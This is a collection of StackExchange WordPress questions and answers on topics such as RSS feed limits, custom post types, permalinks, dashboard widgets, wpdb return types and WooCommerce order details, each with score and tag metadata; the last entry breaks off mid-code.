We use an RSS feed plugin to pull content and syndicate it on other sites. Because of this we have the number in "Syndication feeds show the most recent" set to 400. This means that it is showing 400 full posts/pages in the RSS feed. If I change number back to 200, the feed starts working. Set back to 400 and it breaks... Seems like we are hitting a limit somewhere.
I have checked for blank spaces in functions.php, wp-config.php, etc... all were fine.
Anyone have any ideas what might be going on here?
Thanks | Ok, nevermind...
We figured out we can pull individual feeds for each categories and so we set the general overall limit back to 10. And here is function to override general limit.
`function custom_rss_limits($limits) { if (is_feed() && is_category(‘category-slug’)) { // target a specific feed category and set a unique limit return "LIMIT 0, 20"; } else { // It's not a feed; leave the normal LIMIT in place. return $limits; } } add_filter('post_limits', 'custom_rss_limits');`
Hopefully that helps someone. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "rss, feed"
} |
hatom-feed entry-title error in the rich snippets tool
I am using wordpresss cms. I am trying to get things right with Google's rich snippets tool. Though, I have able to set `updated`, `author` and 'entry-title' correctly I am still having trouble setting my title in a correct way. In the rich snippets testing tool I am having this `Error: Missing required field “entry-title”.` I tried a solution that was suggested here but it did not work. Below is the code that I tried.
<h1 class="entry-title"><? php the_title();?></h1>
FYI, I also use wordpress seo plugin by yoast. I thought about asking this at webmasters-stackexchange but thought I will ask here first as it might be related to wordpress. The other reason I need to get this sorted is, coz I am getting errors in my search results as displayed within google webmasters tools. !enter image description here
* * *
!enter image description here | Got this fixed. I sought for help here in webmaster-forums and took a hint from an article here. The thing that I was missing was that the entire mark-up must be within within a class named `hentry`.
My title was outside the `hentry` class so google-bot was not able to extract the structured data properly. All credits to @markratledge for putting me in right direction. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "html"
} |
How to create Image gallery Metabox in wordpress
I want to create a metabox like woocommerce product gallery.
!enter image description here
I search on google find out related tutorial, plugin, example but unfortunately i don't get anything. So please, anyone can help me. solved this problem. Thanks | I personally like Advanced custom Fields for Meta Fields
They have a "premium" gallery plugin, that for small amount of money, is very useful and works well
Another option is the free attachments plugin , Have a read through the documentation and you will see how to create a custom instance of attachemnts that you can use as a gallery. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 3,
"tags": "plugin development, custom field, metabox"
} |
How to move core js files into the footer
while testing for page speed, i found 2 js files that causes the speed delay, according to PageSpeed Insight. files names are
1. /wp-includes/js/swfobject.js
2. /wp-includes/js/comment-reply.min.js
how can i moved these files into the footer, currently both files are loading in header. | i used this Plugin Minit. this plugin combine JS and CSS files and serve them from the uploads folder. Although this plugin is not listed on Wordpress Plugin Directory, dnt no why. But it works for me. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "javascript, optimization, wp filesystem"
} |
Post and bbpress - link discuss on forum
i would like to have in every post a link to bbpress, for example:
"Discuss it on Forum"
But, how to link it up? Using tags, categories? I don't know how i can do it.
Any idea? | You can use the `[bbp-single-topic id=$topic_id]` shortcode to link to an individual topic that you create manually.
<
Or your other option is to wait for bbPress 2.6 that will include a feature that will allow you to replace WordPress post comments with bbPress topics.
< | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "bbpress"
} |
Change url tag name
I need to change this url from:
to
Is it possible?
Thanks! | This has nothing to do with htaccess and/or rewrites--at least not directly by you.
Just go to
> Settings -> Permalinks
in your WordPress Admin. Then, in the _Optional_ section, set `Tag base` to `article`.
Hit _Save Changes_ , and that's it. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "php"
} |
How do I pass arguments to dashboard widget callback functions?
I'm struggling to use the $callback_args parameter of wp_add_dashboard_widget successfully.
The following code keeps displaying string(0)"" when dumping $args:
add_action( 'wp_dashboard_setup', 'sample_widget_setup' );
function sample_widget_setup() {
wp_add_dashboard_widget(
'sample_dashboard_widget',
'Sample Widget',
'sample_dashboard_widget_callback',
null,
'sample_string'
);
}
function sample_dashboard_widget_callback($args) {
var_dump($args);
}
How can I pass a variable to sample_dashboard_widget_callback? | The args are stored in the 2nd variable passed to your callback function.
add_action( 'wp_dashboard_setup', 'sample_widget_setup' );
function sample_widget_setup() {
wp_add_dashboard_widget(
'sample_dashboard_widget',
'Sample Widget',
'sample_dashboard_widget_callback',
null,
'sample_string'
);
}
function sample_dashboard_widget_callback( $var, $args ) {
var_dump( $args );
}
Output from above:
array
'id' => string 'sample_dashboard_widget' (length=23)
'title' => string 'Sample Widget' (length=13)
'callback' => string 'sample_dashboard_widget_callback' (length=32)
'args' => string 'sample_string' (length=13) | stackexchange-wordpress | {
"answer_score": 6,
"question_score": 2,
"tags": "widgets, dashboard"
} |
Add menu item to edit specific page
I have pages setup and want a top level menu item to direct to editing a specific page. I'm reading through add_menu_page and it doesn't list how to get to specific pages or posts edit page. ie `post.php?post=FOO&action=edit`.
Is this possible? | You've almost answered your own question. Just pass the URL as the `$menu_slug` to `add_menu_page`:
add_menu_page(
null, // not an actual page, so title is irrelevant
'Menu Item Name',
'edit_posts', // or whatever capability required for this object
'/post.php?post=42&action=edit',
null,
'',
6
);
The caveat is that when you visit this menu item, the actual menu item it belongs to will be highlighted in the menu (posts, pages, media). You could fix this with a bit of JS, or just live with it. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "admin, add menu page"
} |
Display ajax preloader for large images within posts
Our WordPress installation runs only images within posts. Generally medium, lightweight images but we are also publishing larger images, sometimes gif animations which take enormous time to load.
When a post has a description it is a bit different. The visitor has something to read and then the images pops out when loaded but that's not our case. As I said, we only display images within our posts.
When a post contains a big image, it is simply empty until the image is loaded, and I believe we are loosing a lot of possible future regular visitors because of this. They could believe we have empty pages.
My solution would be to display a tiny (ajax?) preloader until the image is loaded, so the visitor is notified that some content is being loaded. How can I achieve this? | How you said one option is to place a preloader while the image is loading.
If you cannot touch so deep with JavaScript and PHP I have one simple sugestion which I think will work for you.
<div class="image-preloader">
<img src="yourimage.jpg" alt="" />
</div>
Create a wrapper (holder) around your image. With CSS put the preloader as a background on the HOLDER DIV.
.image-preloader {
background('images/loader.gif') 50% 50%;
}
Like that while the image is loading you will have your preloader and when the Image is loaded it will be hidden under it. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "images, ajax, css, html"
} |
Convert theme to be based on Bootstrap?
I have a theme that i would like to be based on the bootstrap grid instead of its original one and I'm in doubt if this is relatively easy to change or I will have unforeseen challenges. So my question is what should be done in order to change the theme?
Is it as easy as just enqueuing the scripts(bootstrap stylesheet before the themes stylesheet) and changing the class and IDs? | I have created at least two wordpress themes using Bootstrap 3. In fact, is not complicated at all. Besides the obvious, you need keep in mind three things to do:
* Enqueuing correctly both the bootstrap styles and scripts
* Set up an own "Walker Nav Menu" that override the default walker for create drop-down menus
* Change some elements with hooks like: search form (get_search_form), excerpt more (excerpt_more), default menu classes (nav_menu_css_class), and so on.
And that's it, at least that you should do.
Some examples: < < | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "themes, twitter bootstrap"
} |
If post_type is This or This
I'm basically using this bit of code in my `functions.php` to order my custom post types by title in ascending order.
function set_custom_post_types_admin_order($wp_query) {
if (is_admin()) {
$post_type = $wp_query->query['post_type'];
if ( $post_type == 'games') {
$wp_query->set('orderby', 'title');
$wp_query->set('order', 'ASC');
}
if ( $post_type == 'consoles') {
$wp_query->set('orderby', 'title');
$wp_query->set('order', 'ASC');
}
}
}
add_filter('pre_get_posts', 'set_custom_post_types_admin_order');
Is there a way to combine those two`if` statements, so I'm not repeating code. Something like this:
if ( $post_type == 'games' OR 'consoles') OR {
$wp_query->set('orderby', 'title');
$wp_query->set('order', 'ASC');
}
Thanks! | Use a switch statement and combine your matching cases.
function set_custom_post_types_admin_order( $query ) {
// If not admin or main query, bail.
if( !is_admin() || !$query->is_main_query() )
return;
$post_type = $query->query['post_type'];
switch( $post_type ) {
case 'games':
case 'consoles':
//case 'other_example_match':
$query->set('orderby', 'title');
$query->set('order', 'ASC');
break;
default:
return;
}
}
add_action( 'pre_get_posts', 'set_custom_post_types_admin_order' );
Hope that helps. | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 1,
"tags": "custom post types"
} |
How to effectively handle the problem of installing WordPress locally for each new project?
I waste a lot of time installing WordPress then populating it with dummy stuff for each new project. I started creating a new theme for each project (instead of creating a whole new install) but it's not good either since each project has its own specifics in terms of content.
Is there a time-saving, professional solution for this problem? | I run a multisite setup for developing, it saves time and you can just delete the sub-site when you're done developing.
I also have a few different .xml files of common content types that I tend to use a lot (Portfolio items, Standard pages / posts, Testimonials, etc.) and I just import each one as and when I need it. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "installation, localhost"
} |
Multisite move server giving redirect loop
I'm currently trying to move my site dreamdoors.co.uk to my new server.
Everything is 100% working and fine on the old server but when I move it to the new server I get "This webpage has a redirect loop Error code: ERR_TOO_MANY_REDIRECTS"
What it seems to be doing is going from www.dreamdoors.co.uk to dreamdoors.co.uk back to www.dreamdoors.co.uk. The current live site only redirects from dreamdoors.co.uk to www.dreamdoors.co.uk
Everything is the same from htaccess to mutlisite forwarding.
Is there anything I could be missing. | Server was on the newest Plesk verison which comes with nginx which I was unaware of and was causing the redirect loops.
Nginx by default redirects to the non www, after editing the config file for this to www the problem was quickly solved. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "multisite, redirect"
} |
What does $_GET['iphone'] do?
I am working on a WordPress theme whose news stories are loaded in an iPhone app as well. We need the theme to detect whether the news story is being loaded from a mobile browser (chrome, safari, etc..) or from the iPhone app so we can serve a slightly different stylesheet.
Because I am mainly redesigning the existing theme, I know that the following code is responsible for completing that detection, but I can't seem to find out how/why it works:
if(isset($_GET['iphone'])) {
//do different stuff
}
Can someone explain the $_GET['iphone'] part?
Thank you in advance!
EDIT: Basically it looks like the app simply appends `?iphone` to the url is it requesting. | `$_GET` is for accessing variables in URL parameters, it's not related to any detection by itself, something must be adding it to URL.
In context of WordPress it might be related to `$is_iphone` global.
If you look at `wp-includes/vars.php` there is number of global variables like this, which WP fills up with data via user agent sniffing.
So `$is_iphone` is set there according to following logic:
if ( $is_safari && stripos($_SERVER['HTTP_USER_AGENT'], 'mobile') !== false )
$is_iphone = true; | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "php, mobile"
} |
wp_insert_post issue
I've got the following code in the 'functions.php' file of a wordpress theme
$ppost_data = build_post( $pID, $pcontent, $pname, $ptitle, $pstatus, $ptype, $pset_comment_status );
wp_insert_post($ppost_data);
and here's the 'build_post()' function:
function build_post( $pID, $pcontent, $pname, $ptitle, $pstatus, $ptype, $pset_comment_status ) {
return array(
'ID'=>$pID,
'post_content'=>$pcontent,
'post_name'=>$pname,
'post_title'=>$ptitle,
'post_status'=>$pstatus,
'post_type'=>$ptype,
'comment_status'=>$pset_comment_status,
'post_author' => 1
);
The variables are all set, and all of the data is in the `$ppost_data` array correctly, but the page isn't being added. No errors are being thrown. Any ideas? | When inserting a new post, you must omit or leave the `ID` parameter empty, or the post will not be inserted. You can only set the `ID` if you are updating an existing post with that ID.
See `wp_insert_post` in Codex for more information. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 1,
"tags": "wp insert post"
} |
What are the Entry classes for?
I've come across a few tutorials that make reference to `entry` classes; `entry-meta` and `entry-content`.
Are these classes created by Wordpress or classes I should be creating? And what are they intended for? | Those are classes required by a particular microformat.
I personally find it annoying that they are built into the Core, meaning that if you don't want to support that microformat you have to take steps to remove it or have incomplete meta-data in the markup.
However, if you do wish to support that microformat, the page linked to will tell you everything you need to know about the available classes and their use. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "theme development, css"
} |
While Using Static Pages, How Can I Get /blog into the URL of Each Post?
I have Wordpress installed on the root of my website. It is using a static homepage and posts page. As it stands, each post will look like this example.com/blogpostname.
I don't want to use category workaround where you set the default post's category to blog, it seems more like a workaround than a solution.
Thanks. | In admin under `Settings > Permalinks`, select `Custom Structure` and enter `/blog/%postname%/`.
This will prepend `/blog/` to categories and tags by default, and any custom post types and taxonomies where you have not registered them with the `with_front` argument set to `false`. you can remove it from the built-in category and tag taxonomies by setting category base and tag base (also under Settings > Permalinks) to `category` and `tag`, respectively (or whatever you want your bases to be). The end result will be that only posts will contain the `blog` prefix. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 1,
"tags": "plugins, functions, urls, options, configuration"
} |
Move my theme style.css into a folder
I was wondering if its possible to have my theme `style.css` in a `css` folder rather than in the root? I assume that the Theme Metadata has to be in the theme root, but could the actual styles be moved? Is this a piece of meta data I would add to the theme meta? | You can just register another stylesheet instead of `style.css`:
add_action( 'wp_enqueue_scripts', 'enqueue_theme_css' );
function enqueue_theme_css()
{
wp_enqueue_style(
'default',
get_template_directory_uri() . '/css/default.css'
);
}
This is, in my opinion, better than using `style.css`. | stackexchange-wordpress | {
"answer_score": 12,
"question_score": 2,
"tags": "theme development, directory, css"
} |
PHP echo text being output in incorrect order
In footer.php, I have the following code:
<?php
$copyYear = 2011;
$curYear = date('Y');
echo "© " . $copyYear . (($copyYear != $curYear) ? '-' . $curYear : '') . " " . bloginfo('name');
?>
On the front page of the website, the following is output:
> Sugar Gum Cakes© 2011-2014
Note the Blog name is at the start, while in the PHP code it is at the end.
Why is this happening? I can't see how it would be CSS.
Thanks. | `bloginfo` echoes its value on its own, use `get_bloginfo` within an echo, which returns its value. | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 2,
"tags": "php"
} |
Pass custom value to custom taxonomy
I'm trying to pass a custom field value into a custom taxamony whenever I publish a post. Everything works fine except the meta value part. I can only pass strings. In the codex it says that wp_set_post_terms takes either string or array, tag or category. But can't I echo a meta value?
function add_author_taxonomy( $post_id ) {
global $wpdb;
if(!wp_is_post_revision($post_ID)) {
wp_set_post_terms( $post_id, echo get_post_meta($post_id, 'user_submit_customauthor', true) , 'author', true );
}
}
add_action('publish_page', 'add_author_taxonomy');
add_action('publish_post', 'add_author_taxonomy'); | have you tried building your tag array into a variable and passing that as a parameter to set_post_terms?
function add_author_taxonomy( $post_id ) {
global $wpdb;
if(!wp_is_post_revision($post_ID)) {
$my_tags = get_post_meta($post_id, 'user_submit_customauthor', true);
wp_set_post_terms( $post_id, $my_tags, 'author', true );
}
}
add_action('publish_page', 'add_author_taxonomy');
add_action('publish_post', 'add_author_taxonomy')
; | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "php, custom taxonomy, terms"
} |
Prepend meta_value to permalink of post
I have 2 custom post types `movies` (non-hierarchical) and `series`(hierarchical). Each post from `series`type has a meta field `_movie` which contains a movie ID.
I want to specify a custom permalink structure for `series`. What I need to achieve is a link ` (parent_series_slug is the slug of the parent of the series, they are hierarchical, if there isn't any parent, `parrent_series_slug` is omitted).
What I have achieved at the moment is ` which is handled by Wordpress. The question is how to insert `movie_slug` (slug of the post with the ID from meta `_movie`) in the permalink before series slug? | In this case it seems like you'll want to hook into the WordPress rewrite rules.
{$permastruct}_rewrite_rules doesn't have a lot of information, but this filter would allow you modify the array of existing rewrite rules to add in your new rewrite rule for series.
For this to work:
You'll need to add in movie_slug, parrent_series_slug, and series_slug as vars that WordPress will recognize with the query_vars filter.
More information on WP_Rewrite with some examples | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 3,
"tags": "custom post types, permalinks, url rewriting, rewrite rules, slug"
} |
How can I change a submenu-item in the WordPress-dashboard to a mainmenu-item?
I want to create a custom WordPress-dashboard for one of my cliënts. Now I want to hide the "appearance"-menu in the dashboard, but I want the submenu "Menus" to be visible as a mainmenu-item.
The "appearance"-menu is normally automaticly hidden since the client's profile has an editor-role. So I bring the "appearance" menu back for editors like this:
// get the the role object
$role_object = get_role( 'editor' );
// add $cap capability to this role object
$role_object->add_cap( 'edit_theme_options' );
I can hide the other submenu-items with CSS, but then I still got the "appearance"-menu and I don't want the cliënt to change the theme.
Is there any solution to make the submenu "Menus" visible as a mainmenu-item? | At first you have to remove the submenu and then add it again. The code should look something like this:
add_action( 'admin_menu', 'register_my_custom_menu_page' );
function register_my_custom_menu_page( ) {
remove_submenu_page( 'themes.php','nav-menus.php') ;
add_menu_page( 'Menus', 'menu', 'manage_options', 'nav-menus.php' );
}
See the WordPress Codex | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "dashboard"
} |
Load an action which is in an url with Jquery
I'm using WP fvorite post. The action to make as favorite is in the url :
So when I click in a button with this url, it make it as favorite.
I want to make it as favorite when I open the post directly. Each time I open a post, I want to make it as favorite. Is there a way to load the url when I open the post but I don't want to load the page one more time but just load the action.
I tried this :
$( "#result" ).load( "/?wpfpaction=add&postid=350" );
and
$( "#result" ).load( "htp://www.mywebsite.com/?wpfpaction=add&postid=350" ); | `$.load()` is used to load content into an element. And you need to send a ping/request to a url, don't need to use what is returned/responded. So, `$.post()` or `$.get()` the the solution for this.
$.get('', 'wpfpaction=add&postid=350');
Usage With the current post id -
$.get('', 'wpfpaction=add&postid=<?php the_ID(); ?>');
To dynamically add it from functions.php, you will need to hook on wp_footer
add_action('wp_footer', 'wpf_on_the_footer');
function wpf_on_the_footer()
{
if( is_single () ) ?>
<script type="text/javascript">
$.get('', 'wpfpaction=add&postid=<?php the_ID(); ?>');
</script>
<?php
} | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "jquery"
} |
how can I call a posts featured image in any template?
I would like to call specific images in my template from the posts and pages of my choosing.
For example I want to these featured images on my home page;
* About page
* Project post
* Another page
I have used the_post_thumbnail() on my archive pages and to call the image to it's particular post or page. But i can't find any information about calling specific featured images.
Does anybody know? | I think you are looking for `get_the_post_thumbnail()` which takes accepts the post ID as a parameter. `get_the_post_thumbnail()` generates the entire image code. There is no need for you to try to create your own `<img>` tag.
It is used as follows:
echo get_the_post_thumbnail( $post_id, $size, $attr );
So for your example, remove the following:
<img src="<?php echo get_the_post_thumbnail( '25, medium' ); ?>">
and replace with:
echo get_the_post_thumbnail( 25, 'medium' ); | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "post thumbnails, thumbnails"
} |
why category__and and category__in wont work togather?
I am having an issue here. I want to get all the post that are related to the current post at the same time it will also have a common category term.
for example:
Post XYZ has categories car, Truck, and Bus.
So i want to get any posts that have car or truck or bus at the same time it will also have category "Toronto"
What would be the query? | You need a query like this -
$args = array(
'post_type' => 'post',
'tax_query' => array(
'relation' => 'AND',
array(
'taxonomy' => 'category',
'field' => 'slug',
'terms' => array( 'car', 'truck', 'bus' ),
'operator' => 'IN'
),
array(
'taxonomy' => 'category',
'field' => 'name',
'terms' => 'Toronto'
)
)
); | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "categories"
} |
Can I use a Custom Meta Value inside of 'get_the_terms'?
I have a custom Page Template, and this is the code that I am trying to manipulate to change depending on a custom meta value that I write for specific Pages.
$terms = get_the_terms($post->id, 'custom-taxonomy' );
On the Page CPT, I have a custom meta field "Taxonomy Name", and the custom meta value is "Custom Taxonomy"
What I am trying to do with the code above is:
$terms = get_the_terms($post->id, get_post_meta($post->ID,'metafield-taxonomy-name',TRUE) );
Obviously (through actually trying it ;)), that snippet doesn't work since the meta value is not passing through in quotes.
Is there a way I can achieve this, so that 'get_the_terms' can be changed dynamically depending on the meta value that I give it?
Thanks!
Roc. | Seemed have found a solution via customizing a code snippet from here: <
$taxonomy = get_the_terms($post->id, get_post_meta($post->ID,'metafield-taxonomy-name',TRUE) );
$terms = get_the_terms($post->id, $taxonomy );
* $taxonomy must be placed outside of post loop.
Thanks! | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "custom taxonomy, custom field, page template, terms"
} |
Make next post button link to random post
The normal behavior of this code is move to next post in order by id. Need to change this ascendent order to go instead to a random post (published).
<div class="navigation">
<?php if (!empty($prevID)) { ?>
<div class="alignleft">
<a href="<?php echo get_permalink($prevID); ?>"
title="<?php echo get_the_title($prevID); ?>">Previous</a>
</div>
<?php }
if (!empty($nextID)) { ?>
<div class="alignright">
<a href="<?php echo get_permalink($nextID); ?>"
title="<?php echo get_the_title($nextID); ?>">Next</a>
</div>
<?php } ?>
</div> | The code you posted does nothing but display. The code you need to alter is whatever is creating `$prevID` and `$nextID`, but that might not be entirely relevant.
Basically, you just need to grab a random post.
$rl = new WP_Query(
array(
'posts_per_page' => 1,
'orderby' => 'rand',
'fields' => 'ids'
)
); ?>
<div class="alignleft">
<a href="<?php echo get_permalink($rl->posts[0]); ?>" title="<?php echo get_the_title($rl->posts[0]); ?>">Random</a>
</div><?php
I don't see the point of two random post links but the same technique will work.
Also, using random links in your navigation isn't really navigation. It doesn't help your users navigate. It just randomly tosses them around the site. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "php, customization, navigation"
} |
Remove # from a Variable
I am using WordPress WooCommerce plugin as a store management. When I echo with `<?php echo $order->get_order_number(); ?>` I get #6453 as a result but I need only numbers so how do I strip out # from the number? | Just remove the first character of the string:
echo substr( $order->get_order_number() , 1 ); | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "variables"
} |
Echo SKU in WooCommerce Conformation page
I am able to display SKU in a single product page using Product Meta data but it looks like same method does not work on Order Conformation page. Is there any way to echo SKU in a order conformation page? I was able to echo product name by using `<?php foreach($order->get_items() as $item) { echo $product_name = $item['name'];} ?>` but it is not working for SKU. | Have you tried:
$productmeta = new WC_Product($id);
$sku = $productmeta->post->sku;
As seen here: Reference product SKU on WooCommerce confirmation page | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "woocommerce offtopic"
} |
Localize strings for translation
I'm rebuilding my website from a child theme of twentytwelve to child theme of twentyfourteen. Most of the functions I'm using comes from tutorials, so most of the string aren't localized. With this child theme I'm working on I really want to localize the theme because I want to use the theme on an Afrikaans website and on an English website.
I want to now what is the correct way to localize these following strings:
echo ' #This article have ' . str_word_count($post->post_content) . ' words to read!';
and
echo "<div class=\"pagination\"><span>Page ".$paged." van ".$pages."</span>";
and
echo "<a href=\"".get_pagenum_link($paged + 1)."\">Next ›</a>";
Many thanks in advance | Always keep in mind: your translators might need need to reorder **all** words. So you cannot insert dynamic values into translatable strings like you did here.
Use `sprintf()` or `printf()` and placeholders instead:
$string = _x(
'This article has %s words to read',
'%s = number of words',
'your_textdomain'
);
printf( $string, number_format_i18n( str_word_count($post->post_content) ) );
$string = _x(
'Page %1$s of %2$s',
'%1$s = current page, %2$s = all pages',
'your_textdomain'
);
echo "<div class='pagination'><span>"
. sprintf( $string, $paged, $pages )
. "</span>";
No placeholder is needed in this case:
echo "<a href='" . get_pagenum_link($paged + 1)."'>"
. _( 'Next ›', 'your_textdomain' )
. "</a>"; | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "child theme, localization"
} |
Permalink Settings: optional settings doesn’t apply to editor
In my WordPress 3.8 in my "Permalink Settings" I've chosen the option "Post name". Then I've added "Optional" for "Category" ( `%category%/%postname%` ), the URLs works like I wanted - ` \- however this rule doesn’t apply to the editor - when I create new post or edit the existing post the URL in editor is still ` so when I click on _View Post_ or _Preview Changes_ it redirects me to this wrong URL which shows Page Not Found.
Any help/ideas? what am I doing wrong? | You want to select the option `Custom Structure`, not `Post name`, and insert `/%category%/%postname%/` there. The `Category base` under `Optional` is the base for _Category Archives_ , not single posts. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 2,
"tags": "posts, categories, permalinks"
} |
wp-cli doesn't find and wordpress installation
I wanted to try wp-cli, downloaded the phar and installed it by moving it to ~/bin which is in my path. Then wp --info works, but maybe shows insufficient information. (e.g. no php path, though it is running, so php is there ...) Any other actions I tried so far were unsuccessful, alsways resulting in 'no wordpress installation found' Specifying --path or --url didn't change anything. The result is the same for a multisite or non-multisite installation. Any ideas what could be wrong?
PHP binary:
PHP version: 5.3.27
php.ini used: /usr/local/lib/php.ini
WP-CLI root dir: phar://wp-cli.phar
WP-CLI global config:
WP-CLI project config:
WP-CLI version: 0.14.0-alpha
(added `wp --info` output) | If no `--path` is passed, WP-CLI defaults to the current directory and looks for the `wp-includes/version.php` file.
So, make sure that the directory you're in has such a file:
$ ls wp-includes
$ cat wp-includes/version.php
$ wp core version | stackexchange-wordpress | {
"answer_score": 7,
"question_score": 6,
"tags": "wp cli"
} |
Adding a cover image to video shortcode
I'm looking for a way to allow the user to add a cover image (a.k.a. thumbnail) to an internal video, uploaded to WordPress and embedded with the shortcode [video].
So far everything I came up to is adding or changing thumbnails to external videos.
Any ideas of appropriate hooks, plugins doing something similar or just advice on how to approach the problem are welcome! | It looks like the Video Embed & Thumbnail Generator already does what you are looking for. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "shortcode, thumbnails, video player"
} |
How to unpublish multiple posts in one click?
I need to unpublish 200 posts in order to make some hard edition. These posts are from 2012 and my site is live with all the posts since 2013 until today. I would like to find a solution to be able to bulk unpublish posts of year 2012 in order for our team to edit them. If there's no solution by date, the other alternative is to select all the posts and un publish them. What would be the plugin or solution in this case? | Go to Posts and Filter by month and use the bulk edit feature. Check all posts for the month and change the status to Draft.
You can use the Screen Options to display any number of posts per page on the Posts screen.
More < | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "plugin recommendation"
} |
Assigning a role to a specific custom post type (and ignoring other post types)
I have a new post type called "story"
And a new role called 'Writer' (w/ a 'publish_story' capability)
I want it so that, a Writer when logged in can edit Profile and only edit a custom post type - "story"
However, by adding the 'publish_posts' capability, it allows Writer to also manage other custom post types including the main 'Posts' as well. I just want to restrict user of a certain role/capability to manage certain custom post type only.
This is part of a simple plugin I'm writing to distribute, so I don't want to integrate with other plugins to make it simple, nor tell my users to edit the function.php or users.php. | You can create a new role and add specific capabilities.
Or you can conditionally remove access to Edit Posts and any other admin menu items. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "custom post types, posts, customization, users"
} |
Display all pages - in order
My goal a single-page vertically-scrolling site. I'm using this code to display all the pages one after the other:
<!-- All Pages -->
<?php
$pages = get_pages();
foreach ($pages as $page_data) {
$content = apply_filters('the_content', $page_data->post_content);
$title = $page_data->post_title;
$order = $page_data->menu_order;
echo "<div id=".$title." data-order=".$order.">".$content."</div>";
}
?>
I'm new to php, any advice how I can echo the pages in the correct **order**? | <?php
$pages = get_pages( array('sort_column' => 'menu_order') );
?>
more info | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "php, page template, order"
} |
How to add a hyperlink to the email content in WordPress?
$message = sprintf(__('Dear: %s'), $user_login) . "\r\n\r\n";
$message .= __('As per your request on ') . date_i18n('j F Y', time());"\r\n\r\n";
$message .= __('Please visit the following link to reset your email address:') . "\r\n\r\n";
$message .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . ">\r\n";
$message .= __('In case of any queries, you can write to us at') . "\r\n\r\n";
$email_id_reset = '<a href="[email protected]">Email</a>';
$message .= __('Thanks and Best Regards,') . "\r\n\r\n";
I want to show the message like the below mentioned.
In case of any queries, you can write to us at e-mail.
Thanks and regards | function set_contenttype($content_type){
return 'text/html';
}
add_filter('wp_mail_content_type','set_contenttype');
if ( $message && !wp_mail($user_email, $title, nl2br($message), $headers) )
You should set the mail content type as "text/html". | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "plugin development, email"
} |
How to display custom content in post with category XXX
Let’s say I have one post with tittle "Dummy one" and that post is filed under "Category one" and i have other post eg : "dummy two, dummy tree, etc" and category two, category three etc.
and now I create other post with title "helper for category one" how to display permalink to "helper for category one" in all post with "category one"
I want to put it under `the_content();` in `single.php`.
Let’s say my `single.php` is like this
if( have_post()):
while( blah blah ):
the_content();
endwhile;
endif;
i want to like this.
if():
while():
the_content();
if(category == "category one"):
display_helper_for_category_one
else:
display_nothink
endif;
endwhile;
endif;
How can I do that? | yes you can do that. You can use get_category_link for it.
if():
while():
the_content();
if(category == "category one"){
// Get the ID of a given category
$category_id = get_cat_ID( 'helper for category one' ); //get_cat_ID('category_name');
// Get the URL of this category
$category_link = get_category_link( $category_id );
// Print category link here
}
else{
display_nothink
}
endif;
endwhile;
endif;
You can also use action/filter if you dont have direct access to single.php file | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "posts, categories"
} |
Why does $wpdb return strings for mysql integer values?
I find it very inconvenient and hard to understand that the default behavior of the Wordpress db-interface is to convert all integer (and float?) types to strings.
e.g
$wp_posts = $wpdb->get_results('SELECT * from wp_posts');
$unexpected_type = gettype($wp_posts[0]->ID) == 'string';
Please confirm my suspicion that this is done in order to support very large (capacious) integer types that are not supported by PHP, or provide an alternative explanation as to why one would chose to convert integers to strings.
The second part of my question, as maybe expected, is to find out if there is a built in configuration parameter to the `wpdb` class that would allow one to request _integers_ for integer-type records. | Because the MySQL interface library used prior to PHP 5.3 returns everything as strings. The new (optional) interface, MySQL Native Driver, can return integer types if enabled at compile time.
For details, look into libmysql and mysqlnd. | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 6,
"tags": "database, wpdb, customization"
} |
what is the use of /wp-includes/SimplePie?
I have this location on my server. `/home/localhost/public_html/wp-includes/SimplePie.` I have not installed Simplepie plugin. What is it used for since it is not associated with Simplepie plugin. The reason I ask is that, I have fatal error generated from different php files in that location. Each time I debug the error a new error in different file which is at the same location is created. Later I found that it was associated with a plugin. I have removed the plugin but the folder still exist. What is that used for.? | It's used by wordpress core for parsing RSS & Atom feeds. You probably know that wordpress puts all plugins and themes into the wp-content folder so that you don't need to worry about any other folders/files. Leave it be. | stackexchange-wordpress | {
"answer_score": 7,
"question_score": 8,
"tags": "php, database"
} |
tax_query: What to pass when I want to have all terms?
…
$args = array(
'post_type' => 'wr_event',
'posts_per_page' => -1,
